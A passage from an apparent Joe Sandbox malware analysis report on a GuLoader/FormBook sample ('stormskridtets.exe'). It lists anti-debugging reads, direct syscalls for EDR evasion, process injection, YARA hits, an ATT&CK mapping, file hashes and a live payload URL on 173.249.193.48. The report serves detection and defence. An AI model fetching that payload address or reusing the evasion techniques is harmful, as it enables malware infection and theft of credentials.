            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37404260 mov eax, dword ptr fs:[00000030h]6_2_37404260
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CD26B mov eax, dword ptr fs:[00000030h]6_2_374CD26B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374CD26B mov eax, dword ptr fs:[00000030h]6_2_374CD26B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37441270 mov eax, dword ptr fs:[00000030h]6_2_37441270
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37441270 mov eax, dword ptr fs:[00000030h]6_2_37441270
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37429274 mov eax, dword ptr fs:[00000030h]6_2_37429274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B0274 mov eax, dword ptr fs:[00000030h]6_2_374B0274
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37437208 mov eax, dword ptr fs:[00000030h]6_2_37437208
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37437208 mov eax, dword ptr fs:[00000030h]6_2_37437208
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F826B mov eax, dword ptr fs:[00000030h]6_2_373F826B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D5227 mov eax, dword ptr fs:[00000030h]6_2_374D5227
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FA250 mov eax, dword ptr fs:[00000030h]6_2_373FA250
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9240 mov eax, dword ptr fs:[00000030h]6_2_373F9240
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9240 mov eax, dword ptr fs:[00000030h]6_2_373F9240
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742B2C0 mov eax, dword ptr fs:[00000030h]6_2_3742B2C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A2C3 mov eax, dword ptr fs:[00000030h]6_2_3740A2C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A2C3 mov eax, dword ptr fs:[00000030h]6_2_3740A2C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A2C3 mov eax, dword ptr fs:[00000030h]6_2_3740A2C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A2C3 mov eax, dword ptr fs:[00000030h]6_2_3740A2C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740A2C3 mov eax, dword ptr fs:[00000030h]6_2_3740A2C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374092C5 mov eax, dword ptr fs:[00000030h]6_2_374092C5
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374092C5 mov eax, dword ptr fs:[00000030h]6_2_374092C5
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F2D0 mov eax, dword ptr fs:[00000030h]6_2_3742F2D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742F2D0 mov eax, dword ptr fs:[00000030h]6_2_3742F2D0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374102E1 mov eax, dword ptr fs:[00000030h]6_2_374102E1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374102E1 mov eax, dword ptr fs:[00000030h]6_2_374102E1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374102E1 mov eax, dword ptr fs:[00000030h]6_2_374102E1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374B12ED mov eax, dword ptr fs:[00000030h]6_2_374B12ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D52E2 mov eax, dword ptr fs:[00000030h]6_2_374D52E2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF2F8 mov eax, dword ptr fs:[00000030h]6_2_374BF2F8
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F92FF mov eax, dword ptr fs:[00000030h]6_2_373F92FF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E284 mov eax, dword ptr fs:[00000030h]6_2_3743E284
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743E284 mov eax, dword ptr fs:[00000030h]6_2_3743E284
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37480283 mov eax, dword ptr fs:[00000030h]6_2_37480283
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37480283 mov eax, dword ptr fs:[00000030h]6_2_37480283
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37480283 mov eax, dword ptr fs:[00000030h]6_2_37480283
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D5283 mov eax, dword ptr fs:[00000030h]6_2_374D5283
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743329E mov eax, dword ptr fs:[00000030h]6_2_3743329E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743329E mov eax, dword ptr fs:[00000030h]6_2_3743329E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374102A0 mov eax, dword ptr fs:[00000030h]6_2_374102A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374102A0 mov eax, dword ptr fs:[00000030h]6_2_374102A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374152A0 mov eax, dword ptr fs:[00000030h]6_2_374152A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374152A0 mov eax, dword ptr fs:[00000030h]6_2_374152A0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374152A0 mov eax, dword ptr fs:[00000030h]6_2_374152A0

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtWriteVirtualMemory: Direct from: 0x77762E3CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtMapViewOfSection: Direct from: 0x77762D1CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtAllocateVirtualMemory: Direct from: 0x777648ECJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtUnmapViewOfSection: Direct from: 0x77762D3CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtQueryVolumeInformationFile: Direct from: 0x77762F2CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtAllocateVirtualMemory: Direct from: 0x77762BFCJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtReadFile: Direct from: 0x77762ADCJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtQueryValueKey: Direct from: 0x77762BECJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtDelayExecution: Direct from: 0x77762DDCJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtCreateFile: Direct from: 0x77762FECJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtOpenFile: Direct from: 0x77762DCCJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtWriteVirtualMemory: Direct from: 0x7776490CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtQueryInformationProcess: Direct from: 0x77762C26Jump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtResumeThread: Direct from: 0x77762FBCJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtCreateUserProcess: Direct from: 0x7776371CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtOpenKeyEx: Direct from: 0x77762B9CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtSetInformationProcess: Direct from: 0x77762C5CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtQueryAttributesFile: Direct from: 0x77762E6CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtClose: Direct from: 0x77762B6C
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtReadVirtualMemory: Direct from: 0x77762E8CJump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeNtProtectVirtualMemory: Direct from: 0x77762F9CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: NULL target: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exe protection: execute and read and writeJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeSection loaded: NULL target: C:\Windows\SysWOW64\wiaacmgr.exe protection: execute and read and writeJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess created: C:\Users\user\Desktop\stormskridtets.exe "C:\Users\user\Desktop\stormskridtets.exe"Jump to behavior
            Source: C:\Program Files (x86)\iSYQkieWGmssSsYpbCdESyCrRBUlWFKFBalwggQnMDqZNAVDvBPWeKmAdcqhgnAIfkvf\KwKVNXKYGqFY.exeProcess created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"Jump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_004034A2 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004034A2

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2552922904.00000000370C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555391519.0000000004260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.2555322541.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2555508890.0000000002FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Native API            		1
            DLL Side-Loading            		1
            Access Token Manipulation            		12
            Masquerading            		OS Credential Dumping221
            Security Software Discovery            		Remote Services1
            Archive Collected Data            		1
            Encrypted Channel            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts111
            Process Injection            		1
            Virtualization/Sandbox Evasion            		LSASS Memory1
            Virtualization/Sandbox Evasion            		Remote Desktop ProtocolData from Removable Media1
            Ingress Tool Transfer            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            Abuse Elevation Control Mechanism            		1
            Access Token Manipulation            		Security Account Manager1
            Process Discovery            		SMB/Windows Admin SharesData from Network Shared Drive1
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
            DLL Side-Loading            		111
            Process Injection            		NTDS3
            File and Directory Discovery            		Distributed Component Object ModelInput Capture11
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information            		LSA Secrets22
            System Information Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Abuse Elevation Control Mechanism            		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items3
            Obfuscated Files or Information            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            DLL Side-Loading            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            stormskridtets.exe29%ReversingLabsWin32.Trojan.Guloader
            stormskridtets.exe100%AviraHEUR/AGEN.1333748

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Temp\nseA37F.tmp\System.dll0%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://173.249.193.48/dlDSZQaZvoFz216.bin0%Avira URL Cloudsafe
            http://173.249.193.48/dlDSZQaZvoFz216.binsdVU0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            http://173.249.193.48/dlDSZQaZvoFz216.binfalse
            • Avira URL Cloud: safe
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://nsis.sf.net/NSIS_ErrorErrorstormskridtets.exe, 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmp, stormskridtets.exe, 00000000.00000000.1289459649.000000000040A000.00000008.00000001.01000000.00000003.sdmp, stormskridtets.exe, 00000006.00000000.1940317354.000000000040A000.00000008.00000001.01000000.00000003.sdmpfalse
              		high
              http://173.249.193.48/dlDSZQaZvoFz216.binsdVUstormskridtets.exe, 00000006.00000002.2531078656.0000000007178000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              173.249.193.48
              		unknownUnited States
              		11878TZULOUSfalse

              General Information

              Joe Sandbox version:41.0.0 Charoite
              Analysis ID:1548541
              Start date and time:2024-11-04 16:08:06 +01:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:0h 9m 1s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:10
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:1
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Sample name:stormskridtets.exe
              Detection:MAL
              Classification:mal92.troj.evad.winEXE@5/11@0/1
              EGA Information:
              • Successful, ratio: 75%
              HCA Information:
              • Successful, ratio: 59%
              • Number of executed functions: 56
              • Number of non-executed functions: 287
              Cookbook Comments:
              • Found application associated with file extension: .exe

              Warnings

              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
              • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
              • Not all processes where analyzed, report is missing behavior information
              • Report creation exceeded maximum time and may have missing disassembly code information.
              • Report size getting too big, too many NtQueryValueKey calls found.
              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
              • VT rate limit hit for: stormskridtets.exe

              Simulations

              Behavior and APIs

              ⊘No simulations

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              173.249.193.48IMAGE000Pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
              • 173.249.193.48/VdpAwrpsFeHTHv196.bin

              Domains

              ⊘No context

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              TZULOUSIMAGE000Pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
              • 173.249.193.48
              Brneforsorgspdagogers.exeGet hashmaliciousFormBook, GuLoaderBrowse
              • 173.249.193.66
              Brneforsorgspdagogers.exeGet hashmaliciousFormBook, GuLoaderBrowse
              • 173.249.193.66
              la.bot.sparc.elfGet hashmaliciousUnknownBrowse
              • 173.249.236.72
              byte.arm5.elfGet hashmaliciousOkiruBrowse
              • 173.249.236.51
              https://tcmedcenter-my.sharepoint.com/:f:/g/personal/jessica_larson_tcmedcenter_org/Ek1X93Tsfp5KoiWqKbJ_ocQBqlE2wGVJqWkJh4H7mn0vuw?e=Yni2o7Get hashmaliciousUnknownBrowse
              • 173.249.199.16
              D6wsFZIM58.elfGet hashmaliciousUnknownBrowse
              • 173.249.236.64
              https://netorgft4648155-my.sharepoint.com/:f:/g/personal/cgriffith_nationsbest_net/ErhP9j6s6O5LtAYvSf-k7fgBJJeB0TUcEyK1gf2JqcFeEw?e=iS1Nd2Get hashmaliciousUnknownBrowse
              • 173.249.199.16
              http://www.multichainbridges.com/Get hashmaliciousUnknownBrowse
              • 198.54.132.29
              sora.arm.elfGet hashmaliciousMiraiBrowse
              • 173.249.236.58

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              C:\Users\user\AppData\Local\Temp\nseA37F.tmp\System.dllIMAGE000Pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
                orders_PI 008-01.exeGet hashmaliciousRemcos, GuLoaderBrowse
                  RemotePCViewer.exeGet hashmaliciousUnknownBrowse
                    8737738_19082024.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                      8737738_19082024.vbsGet hashmaliciousGuLoaderBrowse
                        Dhl Delivery(AWB 9849791014).exeGet hashmaliciousGuLoaderBrowse
                          Dhl Delivery(AWB 9849791014).exeGet hashmaliciousGuLoaderBrowse
                            89.htaGet hashmaliciousCobalt Strike, GuLoaderBrowse
                              sahost.exeGet hashmaliciousGuLoaderBrowse
                                HSBC Advice_ACH_Credit_08082024 (1).xlsGet hashmaliciousGuLoaderBrowse

                                  Created / dropped Files

                                  C:\Program Files (x86)\Common Files\kvindagtigt.ini

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:ASCII text, with CRLF line terminators
                                  Category:modified
                                  Size (bytes):52
                                  Entropy (8bit):4.0121618346445365
                                  Encrypted:false
                                  SSDEEP:3:BPi4YDgAmcAKDHMnhv:BPiBkAmc0nhv
                                  MD5:F298228D2D42CED0A00B0C5320000835
                                  SHA1:FB06F02DDCDA4C9EC752A688EE617064DB3A49EB
                                  SHA-256:E399AFE89F97EAE7BCDAE626913DA1618F4F42BA11887217CDBF524720532AB2
                                  SHA-512:464DA89F9E1D5935810443B20C3D19F77585D964DF89F5CB427482A03C8EF6274D06CBC01533D92C691FFD55E1725BA5F427D023A45A5128BCED0EEE11E083FE
                                  Malicious:false
                                  Reputation:low
                                  Preview:[skaaltalerens]..nonsaleability=sammenstuvningerne..

                                  C:\Users\user\AppData\Local\Temp\nseA37F.tmp\System.dll

                                  Download File
                                  Process:C:\Users\user\Desktop\stormskridtets.exe
                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                  Category:dropped
                                  Size (bytes):12288
                                  Entropy (8bit):5.737556724687435
                                  Encrypted:false
                                  SSDEEP:192:MenY0qWTlt70IAj/lQ0sEWc/wtYbBH2aDybC7y+XBaIwL:M8+Qlt70Fj/lQRY/9VjjgL
                                  MD5:6E55A6E7C3FDBD244042EB15CB1EC739
                                  SHA1:070EA80E2192ABC42F358D47B276990B5FA285A9
                                  SHA-256:ACF90AB6F4EDC687E94AAF604D05E16E6CFB5E35873783B50C66F307A35C6506
                                  SHA-512:2D504B74DA38EDC967E3859733A2A9CACD885DB82F0CA69BFB66872E882707314C54238344D45945DC98BAE85772ACEEF71A741787922D640627D3C8AE8F1C35
                                  Malicious:false
                                  Antivirus:
                                  • Antivirus: ReversingLabs, Detection: 0%
                                  Joe Sandbox View:
                                  • Filename: IMAGE000Pdf.exe, Detection: malicious, Browse
                                  • Filename: orders_PI 008-01.exe, Detection: malicious, Browse
                                  • Filename: RemotePCViewer.exe, Detection: malicious, Browse
                                  • Filename: 8737738_19082024.vbs, Detection: malicious, Browse
                                  • Filename: 8737738_19082024.vbs, Detection: malicious, Browse
                                  • Filename: Dhl Delivery(AWB 9849791014).exe, Detection: malicious, Browse
                                  • Filename: Dhl Delivery(AWB 9849791014).exe, Detection: malicious, Browse
                                  • Filename: 89.hta, Detection: malicious, Browse
                                  • Filename: sahost.exe, Detection: malicious, Browse
